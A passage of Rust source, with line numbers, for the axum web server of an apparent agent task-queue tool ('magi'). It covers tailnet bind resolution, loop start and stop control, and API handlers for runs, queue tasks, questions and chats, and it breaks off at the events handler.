1use std::collections::HashSet;
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100
101use anyhow::{Context, Result};
102use axum::Json;
103use axum::Router;
104use axum::extract::rejection::JsonRejection;
105use axum::extract::{Path, Query, State};
106use axum::http::{HeaderValue, StatusCode, header};
107use axum::response::sse::{Event, KeepAlive, Sse};
108use axum::response::{IntoResponse, Response};
109use axum::routing::{delete, get, post};
110use jiff::Timestamp;
111use serde::{Deserialize, Serialize};
112use tokio_stream::StreamExt as _;
113use tokio_stream::wrappers::ReceiverStream;
114
115use crate::ask::{Answer, Question, Questions};
116use crate::chat::{Chat, Chats};
117use crate::config::Config;
118use crate::md;
119use crate::queue::{Queue, Source, Task, title_from};
120use crate::run::{RunState, RunStatus};
121use crate::{chat, daemon, report, repos, run};
122
123pub const DEFAULT_PORT: u16 = 7878;
125
126const POLL: Duration = Duration::from_secs(1);
128
129const KEEPALIVE: Duration = Duration::from_secs(15);
133
134const LIST_DEFAULT: usize = 50;
138const LIST_MAX: usize = 500;
140
141const TITLE_MAX: usize = 72;
143
144const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
167 font-src data:; base-uri 'none'; form-action 'none'; \
168 frame-ancestors 'self'";
169
170const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
171const APP_CSS: &str = include_str!("../assets/ui/app.css");
172const APP_JS: &str = include_str!("../assets/ui/app.js");
173
174#[derive(Debug, Clone, Copy, PartialEq, Eq)]
176pub enum Bind {
177 Auto,
179 Addr(IpAddr),
181}
182
183impl std::str::FromStr for Bind {
184 type Err = String;
185
186 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
190 if s.eq_ignore_ascii_case("auto") {
191 return Ok(Self::Auto);
192 }
193 s.parse()
194 .map(Self::Addr)
195 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
196 }
197}
198
199impl std::fmt::Display for Bind {
200 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
201 match self {
202 Self::Auto => f.write_str("auto"),
203 Self::Addr(addr) => write!(f, "{addr}"),
204 }
205 }
206}
207
208#[derive(Debug, Clone)]
210pub struct Opts {
211 pub bind: Bind,
213 pub port: u16,
215 pub repo: PathBuf,
217 pub open: bool,
220 pub merge: Option<String>,
228}
229
230impl Default for Opts {
231 fn default() -> Self {
232 Self {
233 bind: Bind::Auto,
234 port: DEFAULT_PORT,
235 repo: PathBuf::from("."),
236 open: false,
237 merge: None,
238 }
239 }
240}
241
242#[derive(Debug, Clone)]
248pub struct Ui {
249 queue: Queue,
250 questions: Questions,
251 chats: Chats,
252 runs: PathBuf,
253 home: PathBuf,
254 repo: PathBuf,
255 turns: Arc<Mutex<HashSet<String>>>,
263 resuming: Arc<Mutex<HashSet<String>>>,
270 repos_cache: repos::Cache,
274 merge: Option<String>,
276 looping: Arc<Mutex<LoopState>>,
278 launch: Launch,
290}
291
292impl Ui {
293 pub fn new(
295 queue: Queue,
296 questions: Questions,
297 chats: Chats,
298 runs: PathBuf,
299 home: PathBuf,
300 repo: PathBuf,
301 ) -> Self {
302 Self {
303 queue,
304 questions,
305 chats,
306 runs,
307 home,
308 repo,
309 turns: Arc::default(),
310 resuming: Arc::default(),
311 repos_cache: repos::Cache::new(),
312 merge: None,
313 looping: Arc::default(),
314 launch: launch_daemon,
315 }
316 }
317
318 pub fn open(repo: PathBuf) -> Self {
321 Self::new(
322 Queue::open(),
323 Questions::open(),
324 Chats::open(),
325 run::runs_root(),
326 run::home(),
327 repo,
328 )
329 }
330
331 #[must_use]
338 pub fn with_merge(mut self, merge: Option<String>) -> Self {
339 self.merge = merge;
340 self
341 }
342
343 #[cfg(test)]
348 #[must_use]
349 fn with_launch(mut self, launch: Launch) -> Self {
350 self.launch = launch;
351 self
352 }
353
354 fn looping(&self) -> Arc<Mutex<LoopState>> {
356 Arc::clone(&self.looping)
357 }
358
359 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
366 if let Some(other) = foreign {
367 return Err(ApiError::conflict(format!(
368 "{} is already running the loop, so this one will not start a \
369 second: two loops on one queue race for the same claims and \
370 burn the agent quota twice over. Stop it where it was \
371 started.",
372 other.who()
373 )));
374 }
375 let mut state = self.lock_loop();
376 if state.live.as_ref().is_some_and(Live::alive) {
377 return Err(ApiError::conflict(format!(
378 "this magi web process (pid {}) is already running the loop",
379 std::process::id()
380 )));
381 }
382
383 let stop = daemon::Stop::new();
384 let opts = daemon::Opts {
388 repo: self.repo.clone(),
389 merge: self.merge.clone(),
390 ..daemon::Opts::default()
391 };
392 let launch = self.launch;
393 let looping = Arc::clone(&self.looping);
394 let handle = tokio::spawn({
395 let opts = opts.clone();
396 let stop = stop.clone();
397 async move {
398 let failure = match launch(opts, stop).await {
399 Ok(()) => None,
400 Err(e) => Some(format!("{e:#}")),
401 };
402 match &failure {
403 Some(why) => tracing::error!("the loop stopped: {why}"),
404 None => tracing::info!("the loop stopped"),
405 }
406 let mut state = lock_or_recover(&looping);
412 state.live = None;
413 state.last_error = failure;
414 state.rev += 1;
415 }
416 });
417 tracing::info!(
418 "the loop is now running in this process: repo {}, merge {}",
419 opts.repo.display(),
420 opts.merge.as_deref().unwrap_or("as the config says")
421 );
422 state.live = Some(Live { stop, handle, opts });
423 state.last_error = None;
426 state.rev += 1;
427 Ok(())
428 }
429
430 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
436 if let Some(other) = foreign {
437 return Err(ApiError::conflict(format!(
438 "the loop belongs to {}, and this process cannot stop it - \
439 stop it where it was started. A button that silently did \
440 nothing would be worse than this refusal.",
441 other.who()
442 )));
443 }
444 let mut state = self.lock_loop();
445 let Some(live) = state.live.as_ref() else {
446 return Ok(());
447 };
448 if live.stop.stopped() && (!park || live.stop.parking()) {
452 return Ok(());
453 }
454 if park {
455 live.stop.park();
456 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
457 } else {
458 live.stop.stop();
459 tracing::info!("the loop was asked to stop; a run in flight is finished first");
460 }
461 state.rev += 1;
462 Ok(())
463 }
464
465 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
472 let state = self.lock_loop();
473 let live = state.live.as_ref().filter(|live| live.alive());
476 LoopView {
477 running: live.is_some(),
478 stopping: live.is_some_and(|live| live.stop.finishing()),
479 parking: live.is_some_and(|live| live.stop.parking()),
480 owned: live.is_some(),
481 repo: live
482 .map_or(&self.repo, |live| &live.opts.repo)
483 .display()
484 .to_string(),
485 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
486 last_error: state.last_error.clone(),
487 daemon: DaemonView::of(reading),
488 }
489 }
490
491 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
493 lock_or_recover(&self.looping)
494 }
495
496 fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
519 let mut live = self
520 .turns
521 .lock()
522 .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
523 if !live.insert(id.to_owned()) {
524 return Err(ApiError::conflict(format!(
525 "chat {id} is already taking a turn"
526 )));
527 }
528 Ok(TurnGuard {
529 chat: id.to_owned(),
530 turns: Arc::clone(&self.turns),
531 })
532 }
533
534 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
538 let mut live = self
539 .resuming
540 .lock()
541 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
542 if !live.insert(id.to_owned()) {
543 return Err(ApiError::conflict(format!(
544 "run {id} is already being resumed"
545 )));
546 }
547 Ok(ResumeGuard {
548 run: id.to_owned(),
549 resuming: Arc::clone(&self.resuming),
550 })
551 }
552
553 pub fn router(self) -> Router {
561 Router::new()
562 .route("/", get(index))
563 .route("/app.css", get(app_css))
564 .route("/app.js", get(app_js))
565 .route("/api/health", get(health))
566 .route("/api/loop", get(loop_get).post(loop_post))
567 .route("/api/runs", get(runs_list))
568 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
569 .route("/api/runs/{id}/report", get(run_report))
570 .route("/api/runs/{id}/fold", post(run_fold))
571 .route("/api/runs/{id}/resume", post(run_resume))
572 .route("/api/queue", get(queue_list).post(queue_post))
573 .route("/api/queue/{id}", delete(queue_delete))
574 .route("/api/repos", get(repos_list))
575 .route("/api/queue/{id}/hold", post(queue_hold))
576 .route("/api/queue/{id}/release", post(queue_release))
577 .route("/api/questions", get(questions_list))
578 .route("/api/questions/{id}/answer", post(question_answer))
579 .route("/api/questions/{id}/panel", get(question_panel))
580 .route("/api/questions/{id}/panel/index.html", get(question_panel))
588 .route("/api/questions/{id}/panel/{name}", get(question_asset))
589 .route("/api/questions/{id}/asset/{name}", get(question_asset))
590 .route("/api/chats", get(chats_list).post(chat_post))
591 .route("/api/chats/{id}", get(chat_detail))
592 .route("/api/chats/{id}/say", post(chat_say))
593 .route("/api/chats/{id}/file", post(chat_file))
594 .route("/api/events", get(events))
595 .with_state(Arc::new(self))
596 }
597}
598
599#[derive(Debug)]
605struct TurnGuard {
606 chat: String,
607 turns: Arc<Mutex<HashSet<String>>>,
608}
609
610impl Drop for TurnGuard {
611 fn drop(&mut self) {
612 if let Ok(mut live) = self.turns.lock() {
613 live.remove(&self.chat);
614 }
615 }
616}
617
618struct ResumeGuard {
620 run: String,
621 resuming: Arc<Mutex<HashSet<String>>>,
622}
623
624impl Drop for ResumeGuard {
625 fn drop(&mut self) {
626 if let Ok(mut live) = self.resuming.lock() {
627 live.remove(&self.run);
628 }
629 }
630}
631
632pub async fn serve(opts: Opts) -> Result<()> {
650 let (addr, warning) = resolve_bind(&opts.bind);
651 if let Some(warning) = warning {
652 tracing::warn!("{warning}");
653 }
654
655 report::set_color(false);
661
662 let ui = Ui::open(opts.repo).with_merge(opts.merge);
663 let looping = ui.looping();
664 let socket = SocketAddr::new(addr, opts.port);
665 let listener = tokio::net::TcpListener::bind(socket)
666 .await
667 .with_context(|| format!("bind {socket}"))?;
668 let url = format!("http://{addr}:{}", opts.port);
669 tracing::info!(
670 "magi web UI on {url} - there is no authentication, so anyone who can \
671 reach this address can file and hold tasks: the tailnet is the \
672 security boundary"
673 );
674 tracing::info!(
675 "the queue loop is not running yet - start it from the UI, which is \
676 the whole reason this process can: nothing in the queue moves until \
677 something is running the loop"
678 );
679 if opts.open {
680 println!("{url}");
684 }
685
686 let served = axum::serve(listener, ui.router()).into_future();
687 let interrupted = async {
688 if tokio::signal::ctrl_c().await.is_err() {
689 std::future::pending::<()>().await;
694 }
695 };
696 tokio::select! {
697 outcome = served => outcome.context("serve the web UI"),
698 () = interrupted => {
699 tracing::info!("shutting down the web UI");
700 finish_loop(&looping).await;
701 Ok(())
702 }
703 }
704}
705
706async fn finish_loop(state: &Mutex<LoopState>) {
713 let live = lock_or_recover(state).live.take();
714 let Some(live) = live else { return };
715 live.stop.stop();
716 lock_or_recover(state).rev += 1;
717 tracing::info!("waiting for the loop to finish the run in flight");
718 let _ = live.handle.await;
721}
722
723pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
729 match bind {
730 Bind::Addr(addr) => (*addr, None),
731 Bind::Auto => match tailscale_ip() {
732 Ok(ip) => (IpAddr::V4(ip), None),
733 Err(why) => (
734 IpAddr::V4(Ipv4Addr::LOCALHOST),
735 Some(format!(
736 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
737 local-only and a phone cannot reach it; start Tailscale \
738 or pass --bind <addr>"
739 )),
740 ),
741 },
742 }
743}
744
745fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
753 let out = std::process::Command::new("tailscale")
754 .args(["ip", "-4"])
755 .output()
756 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
757 if !out.status.success() {
758 let why = String::from_utf8_lossy(&out.stderr);
759 let why = why.trim();
760 return Err(format!(
761 "`tailscale ip -4` failed ({}){}",
762 out.status,
763 if why.is_empty() {
764 String::new()
765 } else {
766 format!(": {why}")
767 }
768 ));
769 }
770 String::from_utf8_lossy(&out.stdout)
771 .lines()
772 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
773 .find(is_tailnet)
774 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
775}
776
777fn is_tailnet(ip: &Ipv4Addr) -> bool {
779 let o = ip.octets();
780 o[0] == 100 && (64..=127).contains(&o[1])
781}
782
783type ApiResult<T> = std::result::Result<T, ApiError>;
787
788#[derive(Debug)]
790struct ApiError {
791 status: StatusCode,
792 message: String,
793 problems: Vec<String>,
803}
804
805impl ApiError {
806 fn bad_request(message: impl Into<String>) -> Self {
808 Self {
809 status: StatusCode::BAD_REQUEST,
810 message: message.into(),
811 problems: Vec::new(),
812 }
813 }
814
815 fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
817 Self {
818 problems,
819 ..Self::bad_request(message)
820 }
821 }
822
823 fn not_found(message: impl Into<String>) -> Self {
825 Self {
826 status: StatusCode::NOT_FOUND,
827 message: message.into(),
828 problems: Vec::new(),
829 }
830 }
831
832 fn with_status(mut self, status: StatusCode) -> Self {
835 self.status = status;
836 self
837 }
838
839 fn bad_request_from(e: anyhow::Error) -> Self {
843 Self::bad_request(format!("{e:#}"))
844 }
845
846 fn conflict(message: impl Into<String>) -> Self {
847 Self {
848 status: StatusCode::CONFLICT,
849 message: message.into(),
850 problems: Vec::new(),
851 }
852 }
853
854 fn internal(message: impl Into<String>) -> Self {
856 Self {
857 status: StatusCode::INTERNAL_SERVER_ERROR,
858 message: message.into(),
859 problems: Vec::new(),
860 }
861 }
862}
863
864impl From<anyhow::Error> for ApiError {
865 fn from(e: anyhow::Error) -> Self {
870 Self::internal(format!("{e:#}"))
871 }
872}
873
874impl IntoResponse for ApiError {
875 fn into_response(self) -> Response {
876 let mut body = serde_json::json!({ "error": self.message });
877 if !self.problems.is_empty() {
878 if let Some(map) = body.as_object_mut() {
880 map.insert("problems".to_owned(), serde_json::json!(self.problems));
881 }
882 }
883 (self.status, Json(body)).into_response()
884 }
885}
886
887async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
896where
897 T: Send + 'static,
898{
899 match tokio::task::spawn_blocking(job).await {
900 Ok(result) => result,
901 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
902 }
903}
904
905async fn index() -> impl IntoResponse {
906 (
907 [(header::CONTENT_TYPE, "text/html; charset=utf-8")],
908 INDEX_HTML,
909 )
910}
911
912async fn app_css() -> impl IntoResponse {
913 ([(header::CONTENT_TYPE, "text/css; charset=utf-8")], APP_CSS)
914}
915
916async fn app_js() -> impl IntoResponse {
917 (
918 [(header::CONTENT_TYPE, "text/javascript; charset=utf-8")],
919 APP_JS,
920 )
921}
922
923#[derive(Debug, Serialize)]
925struct HealthView {
926 version: &'static str,
927 home: String,
928 queue_rev: u64,
929 runs_rev: u64,
930 questions_rev: u64,
942 chats_rev: u64,
944 loop_rev: u64,
949 runs_unreadable: usize,
957 questions_open: usize,
962 chats_open: usize,
970 daemon: DaemonView,
971 #[serde(rename = "loop")]
977 looping: LoopView,
978}
979
980#[derive(Debug, Serialize)]
982struct DaemonView {
983 running: bool,
984 idle: Option<bool>,
985 pid: Option<u32>,
986 current: Option<daemon::Current>,
987 completed: Option<u64>,
988 stale_for_secs: Option<i64>,
989}
990
991impl DaemonView {
992 fn of(status: Option<daemon::Reading>) -> Self {
996 let Some(status) = status else {
997 return Self {
998 running: false,
999 idle: None,
1000 pid: None,
1001 current: None,
1002 completed: None,
1003 stale_for_secs: None,
1004 };
1005 };
1006 let now = Timestamp::now();
1007 let age = status.age_secs(now);
1008 Self {
1009 running: status.running(now),
1010 idle: Some(status.idle),
1011 pid: status.pid,
1012 current: status.current,
1013 completed: Some(status.completed),
1014 stale_for_secs: age,
1015 }
1016 }
1017}
1018
1019async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1020 blocking(move || {
1021 let reading = daemon::read_status(&ui.home);
1025 let loop_rev = ui.lock_loop().rev;
1029 Ok(Json(HealthView {
1030 version: env!("CARGO_PKG_VERSION"),
1031 home: ui.home.display().to_string(),
1032 queue_rev: ui.queue.revision(),
1033 runs_rev: runs_revision(&ui.runs),
1034 questions_rev: ui.questions.revision(),
1035 chats_rev: ui.chats.revision(),
1036 loop_rev,
1037 runs_unreadable: runs_unreadable(&ui.runs),
1038 questions_open: ui.questions.count_open(),
1039 chats_open: ui.chats.count_open(),
1040 daemon: DaemonView::of(reading.clone()),
1041 looping: ui.loop_view(reading),
1042 }))
1043 })
1044 .await
1045}
1046
1047#[derive(Debug, Serialize)]
1049struct LoopView {
1050 running: bool,
1052 stopping: bool,
1060 parking: bool,
1068 owned: bool,
1076 repo: String,
1079 merge: Option<String>,
1082 last_error: Option<String>,
1090 daemon: DaemonView,
1093}
1094
1095#[derive(Debug, Clone, Copy)]
1104struct Foreign {
1105 pid: Option<u32>,
1107}
1108
1109impl Foreign {
1110 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1113 let reading = reading?;
1114 if !reading.running(Timestamp::now()) {
1115 return None;
1116 }
1117 match reading.pid {
1118 Some(pid) if pid == std::process::id() => None,
1119 pid => Some(Self { pid }),
1123 }
1124 }
1125
1126 fn who(&self) -> String {
1129 match self.pid {
1130 Some(pid) => format!("another magi process (pid {pid})"),
1131 None => "another magi process".to_owned(),
1132 }
1133 }
1134}
1135
1136type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1141
1142fn launch_daemon(
1144 opts: daemon::Opts,
1145 stop: daemon::Stop,
1146) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1147 Box::pin(daemon::serve_until(opts, stop))
1148}
1149
1150#[derive(Debug, Default)]
1152struct LoopState {
1153 live: Option<Live>,
1155 rev: u64,
1163 last_error: Option<String>,
1166}
1167
1168#[derive(Debug)]
1170struct Live {
1171 stop: daemon::Stop,
1173 handle: tokio::task::JoinHandle<()>,
1178 opts: daemon::Opts,
1182}
1183
1184impl Live {
1185 fn alive(&self) -> bool {
1187 !self.handle.is_finished()
1188 }
1189}
1190
1191fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1198 state.lock().unwrap_or_else(PoisonError::into_inner)
1199}
1200
1201async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1203 blocking(move || {
1204 let reading = daemon::read_status(&ui.home);
1205 Ok(Json(ui.loop_view(reading)))
1206 })
1207 .await
1208}
1209
1210#[derive(Debug, Deserialize)]
1216#[serde(deny_unknown_fields)]
1217struct LoopCommand {
1218 running: bool,
1219 #[serde(default)]
1229 park: bool,
1230}
1231
1232async fn loop_post(
1240 State(ui): State<Arc<Ui>>,
1241 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1242) -> ApiResult<Json<LoopView>> {
1243 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1246 blocking(move || {
1247 let reading = daemon::read_status(&ui.home);
1248 let foreign = Foreign::of(reading.as_ref());
1249 if body.running {
1250 ui.start_loop(foreign)?;
1251 } else {
1252 ui.stop_loop(foreign, body.park)?;
1253 }
1254 Ok(Json(ui.loop_view(reading)))
1255 })
1256 .await
1257}
1258
1259#[derive(Debug, Serialize)]
1265struct RunSummary {
1266 id: String,
1267 short: String,
1268 status: String,
1269 done: bool,
1270 instruction: String,
1271 title: String,
1272 repo: String,
1273 repo_name: String,
1274 created_at: String,
1275 updated_at: String,
1276 candidates: usize,
1277 viable: usize,
1278 judges: usize,
1279 winner: Option<char>,
1280 reviews: usize,
1281 quota_losses: usize,
1282 event: Option<String>,
1283 waiting: bool,
1290 pr: Option<crate::run::PrRecord>,
1292}
1293
1294impl RunSummary {
1295 fn of(state: &RunState, waiting: bool) -> Self {
1296 Self {
1297 id: state.id.clone(),
1298 short: state.short().to_owned(),
1299 status: status_word(state.status),
1300 done: state.status.done(),
1301 instruction: state.instruction.clone(),
1302 title: title_from(&state.instruction, TITLE_MAX),
1303 repo: state.repo.display().to_string(),
1304 repo_name: state
1305 .repo
1306 .file_name()
1307 .map(|n| n.to_string_lossy().into_owned())
1308 .unwrap_or_default(),
1309 created_at: state.created_at.to_string(),
1310 updated_at: state.updated_at.to_string(),
1311 candidates: state.candidates.len(),
1312 viable: state.viable().len(),
1313 judges: state.config.graph.judges,
1314 winner: state.winner().map(|c| c.label),
1315 reviews: state.reviews.len(),
1316 quota_losses: state.quota.len(),
1317 event: state.events.last().map(|e| e.message.clone()),
1318 waiting,
1319 pr: state.pr.clone(),
1320 }
1321 }
1322}
1323
1324fn status_word(status: RunStatus) -> String {
1327 status.as_str().to_owned()
1331}
1332
1333#[derive(Debug, Deserialize)]
1335struct ListQuery {
1336 #[serde(default)]
1337 limit: Option<usize>,
1338}
1339
1340async fn runs_list(
1341 State(ui): State<Arc<Ui>>,
1342 Query(q): Query<ListQuery>,
1343) -> ApiResult<Json<Vec<RunSummary>>> {
1344 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
1345 blocking(move || {
1346 let summaries = run_ids(&ui.runs)
1347 .into_iter()
1348 .filter_map(|id| read_run(&ui.runs, &id).ok())
1353 .take(limit)
1354 .map(|state| {
1355 let waiting = !ui.questions.open_for(&state.id).is_empty();
1356 RunSummary::of(&state, waiting)
1357 })
1358 .collect();
1359 Ok(Json(summaries))
1360 })
1361 .await
1362}
1363
1364#[derive(Debug, Serialize)]
1371struct RunDetailView {
1372 #[serde(flatten)]
1373 state: RunState,
1374 instruction_md: Vec<md::Node>,
1375}
1376
1377impl From<RunState> for RunDetailView {
1378 fn from(state: RunState) -> Self {
1379 Self {
1380 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
1381 state,
1382 }
1383 }
1384}
1385
1386async fn run_detail(
1387 State(ui): State<Arc<Ui>>,
1388 Path(id): Path<String>,
1389) -> ApiResult<Json<RunDetailView>> {
1390 blocking(move || {
1391 let id = resolve_run(&ui.runs, &id)?;
1392 Ok(Json(RunDetailView::from(read_run(&ui.runs, &id)?)))
1393 })
1394 .await
1395}
1396
1397async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
1403 blocking(move || {
1404 let id = resolve_run(&ui.runs, &id)?;
1405 let state = read_run(&ui.runs, &id)?;
1406 let in_flight = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
1407 state
1408 .ensure_can_delete(in_flight)
1409 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
1410 let dir = ui.runs.join(&id);
1411 std::fs::remove_dir_all(&dir)
1412 .with_context(|| format!("remove run directory {}", dir.display()))?;
1413 ui.questions.abandon_for_run(
1416 &id,
1417 &format!("run {id} was deleted, so nothing is waiting for this answer"),
1418 )?;
1419 Ok(StatusCode::NO_CONTENT)
1420 })
1421 .await
1422}
1423
1424async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
1443 let (id, mut state) = {
1444 let ui = Arc::clone(&ui);
1445 blocking(move || {
1446 let id = resolve_run(&ui.runs, &id)?;
1447 let state = read_run(&ui.runs, &id)?;
1448 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
1449 return Err(ApiError::conflict(format!(
1450 "run {} is being worked on by a live daemon right now",
1451 state.short()
1452 )));
1453 }
1454 Ok((id, state))
1455 })
1456 .await?
1457 };
1458 let removed = crate::graph::fold_run(&mut state, true)
1459 .await
1460 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
1461 Ok(Json(FoldView {
1462 run: id,
1463 removed_count: removed.len(),
1464 removed,
1465 }))
1466}
1467
1468#[derive(Debug, Serialize)]
1470struct FoldView {
1471 run: String,
1472 removed: Vec<String>,
1474 removed_count: usize,
1475}
1476
1477async fn run_resume(
1496 State(ui): State<Arc<Ui>>,
1497 Path(id): Path<String>,
1498) -> ApiResult<(StatusCode, Json<RunSummary>)> {
1499 let (id, state) = {
1500 let ui = Arc::clone(&ui);
1501 blocking(move || {
1502 let id = resolve_run(&ui.runs, &id)?;
1503 let state = read_run(&ui.runs, &id)?;
1504 Ok((id, state))
1505 })
1506 .await?
1507 };
1508 if !state.status.resumable() {
1509 return Err(ApiError::conflict(format!(
1510 "run {} is `{}`, and only a stalled or blocked run can be resumed",
1511 state.short(),
1512 status_word(state.status)
1513 )));
1514 }
1515 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now()) {
1516 return Err(ApiError::conflict(format!(
1517 "the loop is running run {} right now; magi runs one competition at \
1518 a time so the agent quota is not spent twice over. Stop the loop \
1519 first.",
1520 crate::run::short_of(&work.run)
1521 )));
1522 }
1523 let _resume = ui.begin_resume(&id)?;
1524
1525 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
1528 let run = id.clone();
1529 tokio::spawn(async move {
1530 let _resume = _resume;
1531 match crate::graph::Runner::resume(&run) {
1532 Ok(mut runner) => {
1533 if let Err(e) = runner.execute().await {
1534 tracing::warn!("resume of run {run} stopped: {e:#}");
1535 }
1536 }
1537 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
1540 }
1541 });
1542 Ok((StatusCode::ACCEPTED, Json(queued)))
1543}
1544
1545async fn run_report(
1546 State(ui): State<Arc<Ui>>,
1547 Path(id): Path<String>,
1548) -> ApiResult<impl IntoResponse> {
1549 let text = blocking(move || {
1550 let id = resolve_run(&ui.runs, &id)?;
1551 Ok(report::run(&read_run(&ui.runs, &id)?))
1555 })
1556 .await?;
1557 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
1558}
1559
1560#[derive(Debug, Serialize)]
1566struct TaskView {
1567 #[serde(flatten)]
1568 task: Task,
1569 source_label: String,
1570 status_str: &'static str,
1571 instruction_md: Vec<md::Node>,
1575}
1576
1577impl From<Task> for TaskView {
1578 fn from(task: Task) -> Self {
1579 Self {
1580 source_label: task.source.label(),
1581 status_str: task.status.as_str(),
1582 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
1583 task,
1584 }
1585 }
1586}
1587
1588#[derive(Debug, Default, Deserialize)]
1591#[serde(default)]
1592struct ReposQuery {
1593 refresh: u8,
1594}
1595
1596async fn repos_list(
1604 State(ui): State<Arc<Ui>>,
1605 Query(q): Query<ReposQuery>,
1606) -> ApiResult<Json<Vec<repos::Repo>>> {
1607 let refresh = q.refresh != 0;
1608 blocking(move || {
1609 let (cfg, _) = Config::discover(&ui.repo, None)?;
1610 Ok(Json(ui.repos_cache.list(
1611 &cfg.repos.roots,
1612 Duration::from_secs(cfg.repos.scan_ttl),
1613 refresh,
1614 )))
1615 })
1616 .await
1617}
1618
1619async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
1620 blocking(move || {
1621 Ok(Json(
1622 ui.queue.list().into_iter().map(TaskView::from).collect(),
1623 ))
1624 })
1625 .await
1626}
1627
1628#[derive(Debug, Default, Deserialize)]
1634#[serde(default)]
1635struct NewTask {
1636 instruction: String,
1637 title: Option<String>,
1638 repo: Option<PathBuf>,
1639 priority: Option<i32>,
1640}
1641
1642async fn queue_post(
1643 State(ui): State<Arc<Ui>>,
1644 body: std::result::Result<Json<NewTask>, JsonRejection>,
1645) -> ApiResult<impl IntoResponse> {
1646 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1649 if body.instruction.trim().is_empty() {
1650 return Err(ApiError::bad_request(
1651 "instruction must not be blank: an empty task would burn a whole \
1652 competition on nothing",
1653 ));
1654 }
1655 let view = blocking(move || {
1656 let title = body
1657 .title
1658 .filter(|t| !t.trim().is_empty())
1659 .unwrap_or_else(|| title_from(&body.instruction, TITLE_MAX));
1660 let repo = body.repo.unwrap_or_else(|| ui.repo.clone());
1661 let mut task = Task::new(title, body.instruction, repo, Source::Human);
1662 task.priority = body.priority.unwrap_or(0);
1663 ui.queue.put(&mut task)?;
1664 Ok(TaskView::from(task))
1665 })
1666 .await?;
1667 Ok((StatusCode::CREATED, Json(view)))
1668}
1669
1670async fn queue_hold(
1671 State(ui): State<Arc<Ui>>,
1672 Path(id): Path<String>,
1673) -> ApiResult<Json<TaskView>> {
1674 mutate(ui, id, Task::hold).await
1675}
1676
1677async fn queue_release(
1678 State(ui): State<Arc<Ui>>,
1679 Path(id): Path<String>,
1680) -> ApiResult<Json<TaskView>> {
1681 mutate(ui, id, Task::release).await
1682}
1683
1684async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
1692 blocking(move || {
1693 let id = resolve_task(&ui.queue, &id)?;
1694 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
1695 ui.queue
1696 .remove(&id, in_flight)
1697 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
1698 Ok(StatusCode::NO_CONTENT)
1699 })
1700 .await
1701}
1702
1703async fn mutate(ui: Arc<Ui>, id: String, change: fn(&mut Task)) -> ApiResult<Json<TaskView>> {
1709 blocking(move || {
1710 let id = resolve_task(&ui.queue, &id)?;
1711 let _claim = ui.queue.claim(&id).map_err(|e| {
1716 ApiError::conflict(format!(
1717 "{e:#} - a daemon is running this task, so it cannot be \
1718 changed from here yet"
1719 ))
1720 })?;
1721 let mut task = ui.queue.get(&id)?;
1722 change(&mut task);
1723 ui.queue.put(&mut task)?;
1724 Ok(Json(TaskView::from(task)))
1725 })
1726 .await
1727}
1728
1729async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
